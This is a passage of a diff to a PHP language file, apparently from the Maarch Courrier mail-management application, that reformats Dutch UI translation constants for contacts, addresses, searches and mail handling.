define('_DIFF_LIST_VISA_HISTORY', 'Geschiedenis van het goedkeuringscircuit'); +} +if (!defined('_DIFF_LIST_AVIS_HISTORY')) { + define('_DIFF_LIST_AVIS_HISTORY', 'Geschiedenis van het berichtencircuit'); +} +if (!defined('_MODIFY_BY')) { + define('_MODIFY_BY', 'Gewijzigd door'); +} +if (!defined('_DIFFLIST_NEVER_MODIFIED')) { + define('_DIFFLIST_NEVER_MODIFIED', 'De verdelingslijst werd nooit gewijzigd'); +} +if (!defined('_NO_RIGHT')) { + define('_NO_RIGHT', 'Fout'); +} +if (!defined('_NO_RIGHT_TXT')) { + define('_NO_RIGHT_TXT', 'U probeerde toegang te verkrijgen tot een document waar u geen recht op heeft of het document bestaat niet...'); +} +if (!defined('_NUM_GED')) { + define('_NUM_GED', 'GED NR.'); +} +if (!defined('_AJAX_PARAM_ERROR')) { + define('_AJAX_PARAM_ERROR', 'Fout overgang instellingen Ajax'); +} +if (!defined('_ACTION_CONFIRM')) { + define('_ACTION_CONFIRM', 'Wilt u de volgende actie uitvoeren:'); +} +if (!defined('_ADD_ATTACHMENT_OR_NOTE')) { + define('_ADD_ATTACHMENT_OR_NOTE', 'Voeg een bijlage of een nota toe voor deze brief/brieven'); +} +if (!defined('_CLOSE_MAIL_WITH_ATTACHMENT')) { + define('_CLOSE_MAIL_WITH_ATTACHMENT', 'Een brief met een bijlage afsluiten'); +} //if (!defined('_CLOSE_MAIL_WITH_ATTACHMENT_DESC')) { define('_CLOSE_MAIL_WITH_ATTACHMENT_DESC', 'Om de afsluitingsdatum van een brief bij te werken (closing_date van tabel res_letterbox) met VERPLICHTE aanwezigheid van bijlage(n) / nota(‘s).');} -if (!defined('_ACTION_NOT_IN_DB')) { define('_ACTION_NOT_IN_DB', 'Actie niet bewaard in database');} -if (!defined('_ERROR_PARAM_ACTION')) { define('_ERROR_PARAM_ACTION', 'Fout instelling van de actie');} -if (!defined('_SQL_ERROR')) { define('_SQL_ERROR', 'SQL fout');} -if (!defined('_ACTION_DONE')) { define('_ACTION_DONE', 'Actie uitgevoerd');} -if (!defined('_ACTION_PAGE_MISSING')) { define('_ACTION_PAGE_MISSING', 'Resultaatpagina van de actie ontbreekt');} -if (!defined('_ERROR_SCRIPT')) { define('_ERROR_SCRIPT', 'Resultaatpagina van de actie: fout in het script of ontbrekende functie');} -if (!defined('_SERVER_ERROR')) { define('_SERVER_ERROR', 'Serverfout');} -if (!defined('_CHOOSE_ONE_DOC')) { define('_CHOOSE_ONE_DOC', 'Kies minstens een document');} -if (!defined('_CHOOSE_ONE_OBJECT')) { define('_CHOOSE_ONE_OBJECT', 'Kies minstens een element');} -if (!defined('_SIMPLE_CONFIRM')) { define('_SIMPLE_CONFIRM', 'Eenvoudige bevestiging');} -if (!defined('_SIMPLE_CONFIRM_DESC')) { define('_SIMPLE_CONFIRM_DESC', 'Opent eenvoudigweg een bevestigingsmodaliteit van de uit te voeren actie.');} -if (!defined('_CHECK_INVOICE')) { define('_CHECK_INVOICE', 'Factuur controleren');} -if (!defined('_REDIRECT_TO')) { define('_REDIRECT_TO', 'Doorsturen naar');} -if (!defined('_NO_STRUCTURE_ATTACHED')) { define('_NO_STRUCTURE_ATTACHED', 'Dit documenttype is aan geen enkele map gekoppeld.');} -if (!defined('_MAARCH_CREDITS')) { define('_MAARCH_CREDITS', 'Over Maarch Courrier');} -if (!defined('_MAARCH_LICENCE')) { define('_MAARCH_LICENCE', 'Maarch Courrier wordt verspreid onder de voorwaarden van de');} -if (!defined('_OFFICIAL_WEBSITE')) { define('_OFFICIAL_WEBSITE', 'Officiële site');} -if (!defined('_COMMUNITY')) { define('_COMMUNITY', 'Gemeenschap');} -if (!defined('_DOCUMENTATION')) { define('_DOCUMENTATION', 'Documentatie');} -if (!defined('_PROCESS_LIMIT_DATE')) { define('_PROCESS_LIMIT_DATE', 'Verwerkingsdeadline');} -if (!defined('_LATE_PROCESS')) { define('_LATE_PROCESS', 'Te laat');} -if (!defined('_PROCESS_DELAY')) { define('_PROCESS_DELAY', 'Verwerkingstermijn (in dagen)');} -if (!defined('_ALARM1_DELAY')) { define('_ALARM1_DELAY', 'Herinneringstermijn 1 (dag) voor het einde');} -if (!defined('_ALARM2_DELAY')) { define('_ALARM2_DELAY', 'Herinneringstermijn 2 (dagen) na het einde');} -if (!defined('_CATEGORY')) { define('_CATEGORY', 'Categorie');} -if (!defined('_CHOOSE_CATEGORY')) { define('_CHOOSE_CATEGORY', 'Kies een categorie');} -if (!defined('_RECEIVING_DATE')) { define('_RECEIVING_DATE', 'Aankomstdatum');} -if (!defined('_SUBJECT')) { define('_SUBJECT', 'Onderwerp');} -if (!defined('_AUTHOR')) { define('_AUTHOR', 'Auteur');} -if (!defined('_AUTHOR_DOC')) { define('_AUTHOR_DOC', 'Auteur van het document');} -if (!defined('_DOCTYPE_MAIL')) { define('_DOCTYPE_MAIL', 'Type brief');} -if (!defined('_PROCESS_LIMIT_DATE_USE')) { define('_PROCESS_LIMIT_DATE_USE', 'Deadline activeren');} -if (!defined('_DEPARTMENT_DEST')) { define('_DEPARTMENT_DEST', 'Verwerkende dienst');} -if (!defined('_DEPARTMENT_EXP')) { define('_DEPARTMENT_EXP', 'Verzendende dienst');} -if (!defined('_INCOMING')) { define('_INCOMING', 'Brief Aankomst');} -if (!defined('_OUTGOING')) { define('_OUTGOING', 'Brief Vertrek');} -if (!defined('_INTERNAL')) { define('_INTERNAL', 'Interne brief');} -if (!defined('_ATTACHMENT')) { define('_ATTACHMENT', 'Bijlage');} -if (!defined('_GED_DOC')) { define('_GED_DOC', 'GED document');} -if (!defined('_MARKET_DOCUMENT')) { define('_MARKET_DOCUMENT', 'Document van submap');} -if (!defined('_EMPTY')) { define('_EMPTY', 'Leeg');} -if (!defined('_CHOOSE_NATURE')) { define('_CHOOSE_NATURE', 'Kiezen');} -if (!defined('_SIMPLE_MAIL')) { define('_SIMPLE_MAIL', 'Gewone brief');} -if (!defined('_EMAIL')) { define('_EMAIL', 'E-mail');} -if (!defined('_FAX')) { define('_FAX', 'Fax');} -if (!defined('_CHRONOPOST')) { define('_CHRONOPOST', 'Chronopost');} -if (!defined('_FEDEX')) { define('_FEDEX', 'Fedex');} -if (!defined('_REGISTERED_MAIL')) { define('_REGISTERED_MAIL', 'Brief met ontvangstbewijs');} -if (!defined('_COURIER')) { define('_COURIER', 'Koerierdienst');} -if (!defined('_OTHER')) { define('_OTHER', 'Andere');} -if (!defined('_NORMAL')) { define('_NORMAL', 'Normaal');} -if (!defined('_VERY_HIGH')) { define('_VERY_HIGH', 'Heel dringend');} -if (!defined('_HIGH')) { define('_HIGH', 'Dringend');} -if (!defined('_LOW')) { define('_LOW', 'Laag');} -if (!defined('_VERY_LOW')) { define('_VERY_LOW', 'Heel laag');} -if (!defined('_INDEXING_MLB')) { define('_INDEXING_MLB', 'Een brief/doc bewaren');} -if (!defined('_ADV_SEARCH_MLB')) { define('_ADV_SEARCH_MLB', 'Opzoeken');} -if (!defined('_ADV_SEARCH_TITLE')) { define('_ADV_SEARCH_TITLE', 'Geavanceerd zoeken van brief');} -if (!defined('_MAIL_OBJECT')) { define('_MAIL_OBJECT', 'Onderwerp van brief');} -if (!defined('_N_GED')) { define('_N_GED', 'GED-nummer');} -if (!defined('_GED_NUM')) { define('_GED_NUM', 'GED NR.');} -if (!defined('_GED_DOC')) { define('_GED_DOC', 'GED document');} -if (!defined('_REG_DATE')) { define('_REG_DATE', 'Datum van bewaring');} -if (!defined('_PROCESS_DATE')) { define('_PROCESS_DATE', 'Datum van verwerking');} -if (!defined('_CHOOSE_STATUS')) { define('_CHOOSE_STATUS', 'Kies een status');} -if (!defined('_TO_CC')) { define('_TO_CC', 'In kopie');} -if (!defined('_ADD_CC')) { define('_ADD_CC', 'In kopie');} -if (!defined('_ADD_COPIES')) { define('_ADD_COPIES', 'Personen in kopie toevoegen');} -if (!defined('_TO_SIGN')) { define('_TO_SIGN', 'Voor ondertekening');} -if (!defined('_VISA_USER')) { define('_VISA_USER', 'Voor goedkeuring');} -if (!defined('_VISA_USER_SEARCH')) { define('_VISA_USER_SEARCH', 'GOEDKEURDER');} -if (!defined('_VISA_USER_SEARCH_MIN')) { define('_VISA_USER_SEARCH_MIN', 'Goedkeurder');} -if (!defined('_TO_VIEW')) { define('_TO_VIEW', 'Voor bericht');} -if (!defined('_TO_SHARED_VIEW')) { define('_TO_SHARED_VIEW', 'Voor gedeeld bericht');} -if (!defined('_FOLLOWED_INFO')) { define('_FOLLOWED_INFO', 'Voor opgevolgde informatie');} -if (!defined('_PROCESS_NOTES')) { define('_PROCESS_NOTES', 'Verwerkingsnotities');} -if (!defined('_DIRECT_CONTACT')) { define('_DIRECT_CONTACT', 'Rechtstreekse contactname');} -if (!defined('_NO_ANSWER')) { define('_NO_ANSWER', 'Geen antwoord');} -if (!defined('_ANSWER')) { define('_ANSWER', 'Antwoord');} -if (!defined('_DETAILS')) { define('_DETAILS', 'Gedetailleerde fiche');} -if (!defined('_DOWNLOAD')) { define('_DOWNLOAD', 'Downloaden');} -if (!defined('_SEARCH_RESULTS')) { define('_SEARCH_RESULTS', 'Resultaat van de opzoeking');} -if (!defined('_MAIL_PRIORITY')) { define('_MAIL_PRIORITY', 'Prioriteit van de brief');} -if (!defined('_CHOOSE_PRIORITY')) { define('_CHOOSE_PRIORITY', 'Kies een prioriteit');} -if (!defined('_ADD_PARAMETERS')) { define('_ADD_PARAMETERS', 'Criteria toevoegen');} -if (!defined('_CHOOSE_PARAMETERS')) { define('_CHOOSE_PARAMETERS', 'Kies uw criteria');} -if (!defined('_CHOOSE_ENTITES_SEARCH_TITLE')) { define('_CHOOSE_ENTITES_SEARCH_TITLE', 'Voeg de gewenste dienst(en) toe om de opzoeking in te perken');} -if (!defined('_CHOOSE_DOCTYPES_SEARCH_TITLE')) { define('_CHOOSE_DOCTYPES_SEARCH_TITLE', 'Voeg (het) de gewenste documenttype(s) toe om de opzoeking in te perken');} -if (!defined('_CHOOSE_DOCTYPES_MAIL_SEARCH_TITLE')) { define('_CHOOSE_DOCTYPES_MAIL_SEARCH_TITLE', 'Voeg het (de) gewenste posttype(s) toe om de opzoeking in te perken');} -if (!defined('_DESTINATION_SEARCH')) { define('_DESTINATION_SEARCH', 'Getroffen dienst(en)');} -if (!defined('_ADD_PARAMETERS_HELP')) { define('_ADD_PARAMETERS_HELP', 'Om het resultaat te verfijnen kan u criteria aan uw opzoeking toevoegen...');} -if (!defined('_MAIL_OBJECT_HELP')) { define('_MAIL_OBJECT_HELP', 'Voer een woord of een groep woorden in voor het onderwerp van de brief');} -if (!defined('_N_GED_HELP')) { define('_N_GED_HELP', '');} -if (!defined('_CHOOSE_RECIPIENT_SEARCH_TITLE')) { define('_CHOOSE_RECIPIENT_SEARCH_TITLE', 'Voeg de gewenste ontvanger(s) toe om de opzoeking in te perken');} -if (!defined('_MULTI_FIELD')) { define('_MULTI_FIELD', 'Multivelden');} -if (!defined('_SAVE_QUERY')) { define('_SAVE_QUERY', 'Mijn opzoeking bewaren');} -if (!defined('_SAVE_QUERY_TITLE')) { define('_SAVE_QUERY_TITLE', 'Opzoeking bewaard');} -if (!defined('_QUERY_NAME')) { define('_QUERY_NAME', 'Naam van mijn opzoeking');} -if (!defined('_QUERY_SAVED')) { define('_QUERY_SAVED', 'Opzoeking opgeslagen');} -if (!defined('_LOAD_QUERY')) { define('_LOAD_QUERY', 'De opzoeking laden');} -if (!defined('_DELETE_QUERY')) { define('_DELETE_QUERY', 'De opzoeking verwijderen');} -if (!defined('_CHOOSE_SEARCH')) { define('_CHOOSE_SEARCH', 'Een opzoeking kiezen');} -if (!defined('_THIS_SEARCH')) { define('_THIS_SEARCH', 'deze opzoeking');} -if (!defined('_MY_SEARCHES')) { define('_MY_SEARCHES', 'Mijn opzoekingen');} -if (!defined('_CLEAR_SEARCH')) { define('_CLEAR_SEARCH', 'De criteria verwijderen');} -if (!defined('_CHOOSE_STATUS_SEARCH_TITLE')) { define('_CHOOSE_STATUS_SEARCH_TITLE', 'Voeg de gewenste status(sen) toe om de opzoeking in te perken');} -if (!defined('_ERROR_IE_SEARCH')) { define('_ERROR_IE_SEARCH', 'Dit element werd reeds gedefinieerd!');} -if (!defined('_DEST_USER')) { define('_DEST_USER', 'Ontvanger');} -if (!defined('_DOCTYPES')) { define('_DOCTYPES', 'Documenttype(s)');} -if (!defined('_DOCTYPE_INDEXES')) { define('_DOCTYPE_INDEXES', 'Index van het documenttype');} -if (!defined('_ERROR_DOCTYPE')) { define('_ERROR_DOCTYPE', 'Ongeldig documenttype');} -if (!defined('_ADMISSION_DATE')) { define('_ADMISSION_DATE', 'Aankomstdatum');} -if (!defined('_FOUND_DOC')) { define('_FOUND_DOC', 'brieven gevonden');} -if (!defined('_FOUND_LOGS')) { define('_FOUND_LOGS', 'logbestand(en) gevonden');} -if (!defined('_PROCESS')) { define('_PROCESS', 'Verwerking');} -if (!defined('_PROCESS')) { define('_PROCESS', 'Verwerken');} -if (!defined('_DOC_NUM')) { define('_DOC_NUM', 'document nr.');} -if (!defined('_LETTER_NUM')) { define('_LETTER_NUM', 'brief nr.');} -if (!defined('_GENERAL_INFO')) { define('_GENERAL_INFO', 'Algemene gegevens');} -if (!defined('_ON_DOC_NUM')) { define('_ON_DOC_NUM', 'voor document nr.');} -if (!defined('_PRIORITY')) { define('_PRIORITY', 'Prioriteit');} -if (!defined('_MAIL_DATE')) { define('_MAIL_DATE', 'Datum van de brief');} -if (!defined('_DOC_HISTORY')) { define('_DOC_HISTORY', 'Geschiedenis');} -if (!defined('_CHOOSE_FILE')) { define('_CHOOSE_FILE', 'Kies het bestand');} -if (!defined('_CHOOSE_TYPE')) { define('_CHOOSE_TYPE', 'Kies een type');} -if (!defined('_WRONG_FILE_TYPE')) { define('_WRONG_FILE_TYPE', 'Dit bestandstype is niet toegelaten');} -if (!defined('_LETTERBOX')) { define('_LETTERBOX', 'Verzameling van de brieven');} -if (!defined('_ATTACHMENTS_COLL')) { define('_ATTACHMENTS_COLL', 'Verzameling van de bijlagen');} -if (!defined('_ATTACHMENTS_VERS_COLL')) { define('_ATTACHMENTS_VERS_COLL', 'Verzameling van de bijlageversies');} -if (!defined('_APA_COLL')) { define('_APA_COLL', 'Verzameling van de fysieke archivering');} -if (!defined('_DOCUMENTS_LIST')) { define('_DOCUMENTS_LIST', 'Lijst');} -if (!defined('_ADMIN_CONTACTS')) { define('_ADMIN_CONTACTS', 'Contacten');} -if (!defined('_ADMIN_CONTACTS_DESC')) { define('_ADMIN_CONTACTS_DESC', 'Contactenbeheer');} -if (!defined('_CONTACTS_LIST')) { define('_CONTACTS_LIST', 'Contactenlijst');} -if (!defined('_CONTACT_ADDITION')) { define('_CONTACT_ADDITION', 'Contact toevoegen');} -if (!defined('_CONTACTS')) { define('_CONTACTS', 'contact(en)');} -if (!defined('_CONTACT')) { define('_CONTACT', 'Contact');} -if (!defined('_NEW_CONTACT')) { define('_NEW_CONTACT', 'Nieuw contact');} -if (!defined('_ALL_CONTACTS')) { define('_ALL_CONTACTS', 'Alle contacten');} -if (!defined('_ADD_CONTACT')) { define('_ADD_CONTACT', 'Toevoeging van een contact');} -if (!defined('_ADD_NEW_CONTACT')) { define('_ADD_NEW_CONTACT', 'Nieuwe contact toevoegen');} -if (!defined('_UPDATE_CONTACT')) { define('_UPDATE_CONTACT', 'Contacten wijzigen');} -if (!defined('_PHONE')) { define('_PHONE', 'Telefoon');} -if (!defined('_ADDRESS')) { define('_ADDRESS', 'Adres');} -if (!defined('_NO_ADDRESS_GIVEN')) { define('_NO_ADDRESS_GIVEN', 'Geen adresinformatie');} -if (!defined('_NO_RESULTS_AUTOCOMPLETE_CONTACT_INFO')) { define('_NO_RESULTS_AUTOCOMPLETE_CONTACT_INFO', 'Indien u op de voornaam EN op de familienaam wil zoeken, verzeker er u van dat u alles in deze volgorde heeft geschreven.');} -if (!defined('_STREET')) { define('_STREET', 'Spoor');} -if (!defined('_COMPLEMENT')) { define('_COMPLEMENT', 'Toren gebouw pand residentie');} -if (!defined('_TOWN')) { define('_TOWN', 'Gemeente');} -if (!defined('_COUNTRY')) { define('_COUNTRY', 'Land');} -if (!defined('_SOCIETY')) { define('_SOCIETY', 'Bedrijf');} -if (!defined('_COMP')) { define('_COMP', 'Overige');} -if (!defined('_COMP_DATA')) { define('_COMP_DATA', 'Bijkomende informatie');} -if (!defined('_CONTACT_ADDED')) { define('_CONTACT_ADDED', 'Toegevoegd contact');} -if (!defined('_CONTACT_MODIFIED')) { define('_CONTACT_MODIFIED', 'Gewijzigd contact');} -if (!defined('_CONTACT_DELETED')) { define('_CONTACT_DELETED', 'Verwijderd contact');} -if (!defined('_MODIFY_CONTACT')) { define('_MODIFY_CONTACT', 'Een contact wijzigen');} -if (!defined('_IS_CORPORATE_PERSON')) { define('_IS_CORPORATE_PERSON', 'Rechtspersoon');} -if (!defined('_IS_INTERNAL_CONTACT')) { define('_IS_INTERNAL_CONTACT', 'Intern contact');} -if (!defined('_IS_EXTERNAL_CONTACT')) { define('_IS_EXTERNAL_CONTACT', 'Extern contact');} -if (!defined('_SEARCH_DIRECTORY')) { define('_SEARCH_DIRECTORY', 'Opzoeking telefoonboek');} -if (!defined('_INDIVIDUAL')) { define('_INDIVIDUAL', 'Privépersoon');} -if (!defined('_CONTACT_TARGET')) { define('_CONTACT_TARGET', 'Voor welk contact kan dit type gebruikt worden?');} -if (!defined('_CONTACT_TARGET_LIST')) { define('_CONTACT_TARGET_LIST', 'Doel van het contacttype');} -if (!defined('_CONTACT_TYPE_CREATION')) { define('_CONTACT_TYPE_CREATION', 'Mogelijkheid om een contact van dit type aan te maken buiten het beheerpanel?');} -if (!defined('_IS_PRIVATE')) { define('_IS_PRIVATE', 'Vertrouwelijke gegevens');} -if (!defined('_TITLE2')) { define('_TITLE2', 'Aanspreking');} -if (!defined('_WARNING_MESSAGE_DEL_CONTACT')) { define('_WARNING_MESSAGE_DEL_CONTACT', 'Waarschuwing:<br> De verwijdering van een contact leidt tot een nieuwe toewijzing van de documenten en van de brieven aan een nieuw contact.');} -if (!defined('_CONTACT_DELETION')) { define('_CONTACT_DELETION', 'Contact verwijderen');} -if (!defined('_CONTACT_REAFFECT')) { define('_CONTACT_REAFFECT', 'Nieuwe toewijzing van de documenten en van de brieven');} -if (!defined('_UPDATE_CONTACTS')) { define('_UPDATE_CONTACTS', 'Update contact vanuit indexering/kwalificatie');} -if (!defined('_CONTACT_TYPE')) { define('_CONTACT_TYPE', 'Contacttype');} -if (!defined('_MULTI_EXTERNAL')) { define('_MULTI_EXTERNAL', 'Multi extern');} -if (!defined('_MULTI_CONTACT')) { define('_MULTI_CONTACT', 'Multi contacten');} -if (!defined('_SINGLE_CONTACT')) { define('_SINGLE_CONTACT', 'Enkel contact');} -if (!defined('_SHOW_MULTI_CONTACT')) { define('_SHOW_MULTI_CONTACT', 'Contacten bekijken');} -if (!defined('_STRUCTURE_ORGANISM')) { define('_STRUCTURE_ORGANISM', 'Structuur');} -if (!defined('_TYPE_OF_THE_CONTACT')) { define('_TYPE_OF_THE_CONTACT', 'Welk contacttype?');} -if (!defined('_WRITE_IN_UPPER')) { define('_WRITE_IN_UPPER', 'Invoeren in hoofdletters');} -if (!defined('_EXAMPLE_PURPOSE')) { define('_EXAMPLE_PURPOSE', 'Voorbeeld: Algemene directie/Woonplaats');} -if (!defined('_EXAMPLE_SELECT_CONTACT_TYPE')) { define('_EXAMPLE_SELECT_CONTACT_TYPE', '');} -if (!defined('_HELP_SELECT_CONTACT_CREATED')) { define('_HELP_SELECT_CONTACT_CREATED', '');} -if (!defined('_MANAGE_DUPLICATES')) { define('_MANAGE_DUPLICATES', 'Beheer van dubbele elementen');} -if (!defined('_DUPLICATES_BY_SOCIETY')) { define('_DUPLICATES_BY_SOCIETY', 'Dubbele elementen per organisatie/vennootschap');} -if (!defined('_DUPLICATES_BY_NAME')) { define('_DUPLICATES_BY_NAME', 'Dubbele elementen per familienaam/voornaam');} -if (!defined('_IS_ATTACHED_TO_DOC')) { define('_IS_ATTACHED_TO_DOC', 'Bij documenten gevoegd?');} -if (!defined('_CONTACT_CHECK')) { define('_CONTACT_CHECK', 'Minstens één recent bewaarde brief is aan hetzelfde contact toegewezen.');} -if (!defined('_NO_SOCIETY_DUPLICATES')) { define('_NO_SOCIETY_DUPLICATES', 'Geen dubbel element voor rechtscontacten');} -if (!defined('_NO_NAME_DUPLICATES')) { define('_NO_NAME_DUPLICATES', 'Geen dubbel element voor contacten met natuurlijke personen (voornaam familienaam)');} -if (!defined('_YOU_MUST_SELECT_CONTACT')) { define('_YOU_MUST_SELECT_CONTACT', 'U moet een contact selecteren');} -if (!defined('_DOC_SENDED_BY_CONTACT')) { define('_DOC_SENDED_BY_CONTACT', '<b>Documenten en/of brieven verzonden door dit contact</b>');} -if (!defined('_CONTACT_INFO')) { define('_CONTACT_INFO', 'Contactfiche');} -if (!defined('_SHIPPER')) { define('_SHIPPER', 'Afzender');} -if (!defined('_DEST')) { define('_DEST', 'Ontvanger');} -if (!defined('_THIRD_DEST')) { define('_THIRD_DEST', 'Begunstigde derde');} -if (!defined('_INTERNAL2')) { define('_INTERNAL2', 'Intern');} -if (!defined('_EXTERNAL')) { define('_EXTERNAL', 'Extern');} -if (!defined('_CHOOSE_SHIPPER')) { define('_CHOOSE_SHIPPER', 'Een verzender kiezen');} -if (!defined('_CHOOSE_DEST')) { define('_CHOOSE_DEST', 'Een bestemmeling kiezen');} -if (!defined('_DOC_DATE')) { define('_DOC_DATE', 'Datum van de brief');} -if (!defined('_CONTACT_CARD')) { define('_CONTACT_CARD', 'Contactfiche');} -if (!defined('_CREATE_CONTACT')) { define('_CREATE_CONTACT', 'Een contact of een adres toevoegen');} -if (!defined('_USE_AUTOCOMPLETION')) { define('_USE_AUTOCOMPLETION', 'Autoaanvullen gebruiken');} -if (!defined('_USER_DATA')) { define('_USER_DATA', 'Gebruikersfiche');} -if (!defined('_SHIPPER_TYPE')) { define('_SHIPPER_TYPE', 'Type verzender');} -if (!defined('_DEST_TYPE')) { define('_DEST_TYPE', 'Type bestemmeling');} -if (!defined('_VALIDATE_MAIL')) { define('_VALIDATE_MAIL', 'Bevestiging brief');} -if (!defined('_LETTER_INFO')) { define('_LETTER_INFO', 'Informatie over de brief');} -if (!defined('_DATE_START')) { define('_DATE_START', 'Aankomstdatum');} -if (!defined('_LIMIT_DATE_PROCESS')) { define('_LIMIT_DATE_PROCESS', 'Verwerkingsdeadline');} -if (!defined('_MANAGE_CONTACTS_DESC')) { define('_MANAGE_CONTACTS_DESC', 'Beheer van de contacten');} -if (!defined('_MANAGE_CONTACTS')) { define('_MANAGE_CONTACTS', 'Beheer van de contacten<br/>(Niveau 2)');} -if (!defined('_SEE_ALL_ADDRESSES')) { define('_SEE_ALL_ADDRESSES', 'Alle adressen bekijken');} -if (!defined('_MANAGE_CONTACT_ADDRESSES_LIST_DESC')) { define('_MANAGE_CONTACT_ADDRESSES_LIST_DESC', 'Adresbeheer');} -if (!defined('_MANAGE_CONTACT_ADDRESSES_LIST')) { define('_MANAGE_CONTACT_ADDRESSES_LIST', 'Adresbeheer');} -if (!defined('_VIEW_TREE_CONTACTS_DESC')) { define('_VIEW_TREE_CONTACTS_DESC', 'Boomstructuur van de contacten');} -if (!defined('_VIEW_TREE_CONTACTS')) { define('_VIEW_TREE_CONTACTS', 'Boomstructuur van de contacten');} -if (!defined('_ADDRESSES_LIST')) { define('_ADDRESSES_LIST', 'Adressenlijst');} -if (!defined('_SEARCH_ADDRESSES')) { define('_SEARCH_ADDRESSES', 'Naam/Adres opzoeken');} -if (!defined('_ADDRESS_NB')) { define('_ADDRESS_NB', 'Aantal adressen');} -if (!defined('_CONTACT_TYPES_LIST')) { define('_CONTACT_TYPES_LIST', 'Lijst van de contacttypes');} -if (!defined('_DESC_CONTACT_TYPES')) { define('_DESC_CONTACT_TYPES', 'Contacttype');} -if (!defined('_NEW_CONTACT_TYPE_ADDED')) { define('_NEW_CONTACT_TYPE_ADDED', 'Nieuw contacttype toevoegen');} -if (!defined('_ALL_CONTACT_TYPES')) { define('_ALL_CONTACT_TYPES', 'Alle types');} -if (!defined('_CONTACT_TYPE')) { define('_CONTACT_TYPE', 'Contacttype');} -if (!defined('_THIS_CONTACT_TYPE')) { define('_THIS_CONTACT_TYPE', 'Dit contacttype');} -if (!defined('_CONTACT_TYPE_MISSING')) { define('_CONTACT_TYPE_MISSING', 'Contacttype ontbreekt');} -if (!defined('_CONTACT_TYPES')) { define('_CONTACT_TYPES', 'Contacttype(s)');} -if (!defined('_A_CONTACT_TYPE')) { define('_A_CONTACT_TYPE', 'een contacttype');} -if (!defined('_NEW_CONTACT_TYPE')) { define('_NEW_CONTACT_TYPE', 'Nieuw contacttype');} -if (!defined('_CONTACT_TYPE_MODIF')) { define('_CONTACT_TYPE_MODIF', 'Wijziging van het contacttype');} -if (!defined('_ID_CONTACT_TYPE_PB')) { define('_ID_CONTACT_TYPE_PB', 'Er is een probleem met de gebruikersnaam van het contacttype');} -if (!defined('_THE_CONTACT_TYPE')) { define('_THE_CONTACT_TYPE', 'Het contacttype');} -if (!defined('_CONTACT_TYPE_DEL')) { define('_CONTACT_TYPE_DEL', 'Verwijderen van het contacttype');} -if (!defined('_DELETED_CONTACT_TYPE')) { define('_DELETED_CONTACT_TYPE', 'Contacttype verwijderd');} -if (!defined('_WARNING_MESSAGE_DEL_CONTACT_TYPE')) { define('_WARNING_MESSAGE_DEL_CONTACT_TYPE', 'Waarschuwing: De verwijdering van een contacttype leidt tot de nieuwe toewijzing van de contacten aan een ander contacttype.');} -if (!defined('_CONTACT_TYPE_REAFFECT')) { define('_CONTACT_TYPE_REAFFECT', 'Contacten opnieuw toewijzen');} -if (!defined('_ALL')) { define('_ALL', 'Alle');} -if (!defined('_CONTACT_ALREADY_CREATED')) { define('_CONTACT_ALREADY_CREATED', 'Reeds bestaande contacten');} -if (!defined('_CONTACT_ALREADY_CREATED_INFORMATION')) { define('_CONTACT_ALREADY_CREATED_INFORMATION', '(ter informatie)');} -if (!defined('_SEARCH_CONTACTS')) { define('_SEARCH_CONTACTS', 'Een contact zoeken');} -if (!defined('_YOU_SHOULD_ADD_AN_ADDRESS')) { define('_YOU_SHOULD_ADD_AN_ADDRESS', 'Na bevestiging, een adres aan dit contact toevoegen');} -if (!defined('_ADDRESSES')) { define('_ADDRESSES', 'adres(sen)');} -if (!defined('_ADDRESSES_MAJ')) { define('_ADDRESSES_MAJ', 'Adres');} -if (!defined('_DOC_S')) { define('_DOC_S', 'document(en)');} -if (!defined('_CONTACTS_CONFIRMATION')) { define('_CONTACTS_CONFIRMATION', 'Aanmaakbevestiging');} -if (!defined('_YOUR_CONTACT_LOOKS_LIKE_ANOTHER')) { define('_YOUR_CONTACT_LOOKS_LIKE_ANOTHER', '<b>Lijkt uw contact op één of meerdere reeds bestaande contacten:</b>');} -if (!defined('_CONFIRM_CREATE_CONTACT')) { define('_CONFIRM_CREATE_CONTACT', 'Bevestigt u de aanmaak van uw contact?');} -if (!defined('_CONFIRM_EDIT_CONTACT')) { define('_CONFIRM_EDIT_CONTACT', 'Bevestigt u de wijziging van uw contact?');} -if (!defined('_CONTACTS_CONFIRMATION_MODIFICATION')) { define('_CONTACTS_CONFIRMATION_MODIFICATION', 'Wijzigingsbevestiging');} -if (!defined('_CREATE_BY')) { define('_CREATE_BY', 'Aangemaakt door');} -if (!defined('_SOCIETY_SHORT')) { define('_SOCIETY_SHORT', 'Acroniem van de structuur');} -if (!defined('_CHOOSE_CONTACT_TYPES')) { define('_CHOOSE_CONTACT_TYPES', 'Kies het contacttype');} -if (!defined('_ORGANISM')) { define('_ORGANISM', 'Organisatie');} -if (!defined('_NEW_CONTACT_ADDRESS')) { define('_NEW_CONTACT_ADDRESS', 'Een nieuwe adres toevoegen');} -if (!defined('_A_CONTACT_ADDRESS')) { define('_A_CONTACT_ADDRESS', 'een adres');} -if (!defined('_ALL_CONTACT_ADDRESSES')) { define('_ALL_CONTACT_ADDRESSES', 'Alle adressen');} -if (!defined('_THE_CONTACT')) { define('_THE_CONTACT', 'Het contact');} -if (!defined('_CONTACT_ADDRESSES_ASSOCIATED')) { define('_CONTACT_ADDRESSES_ASSOCIATED', 'Aan dit contact gekoppelde adressen');} -if (!defined('_VIEW_CONTACT')) { define('_VIEW_CONTACT', 'Contactweergave');} -if (!defined('_VIEW_CONTACTS')) { define('_VIEW_CONTACTS', 'Contacten bekijken');} -if (!defined('_VIEW_ADDRESS')) { define('_VIEW_ADDRESS', 'Weergave van het adres');} -if (!defined('_TREE_INFO')) { define('_TREE_INFO', '(Contacttypes/Contacten/Adressen)');} -if (!defined('_CONFIDENTIAL_ADDRESS')) { define('_CONFIDENTIAL_ADDRESS', 'vertrouwelijke gegevens');} -if (!defined('_MAIN_ADDRESS')) { define('_MAIN_ADDRESS', 'Hoofdadres');} -if (!defined('_MANAGE_CONTACT_ADDRESSES')) { define('_MANAGE_CONTACT_ADDRESSES', '<h2>De gekoppelde adressen beheren</h2>');} -if (!defined('_MANAGE_CONTACT_ADDRESSES_IMG')) { define('_MANAGE_CONTACT_ADDRESSES_IMG', 'De gekoppelde adressen beheren');} -if (!defined('_DEPARTEMENT')) { define('_DEPARTEMENT', 'Afdeling');} -if (!defined('_ADDITION_ADDRESS')) { define('_ADDITION_ADDRESS', 'Een adres toevoegen');} -if (!defined('_THE_ADDRESS')) { define('_THE_ADDRESS', 'Het adres');} -if (!defined('_MODIFY_ADDRESS')) { define('_MODIFY_ADDRESS', 'Het adres wijzigen');} -if (!defined('_WEBSITE')) { define('_WEBSITE', 'Website');} -if (!defined('_OCCUPANCY')) 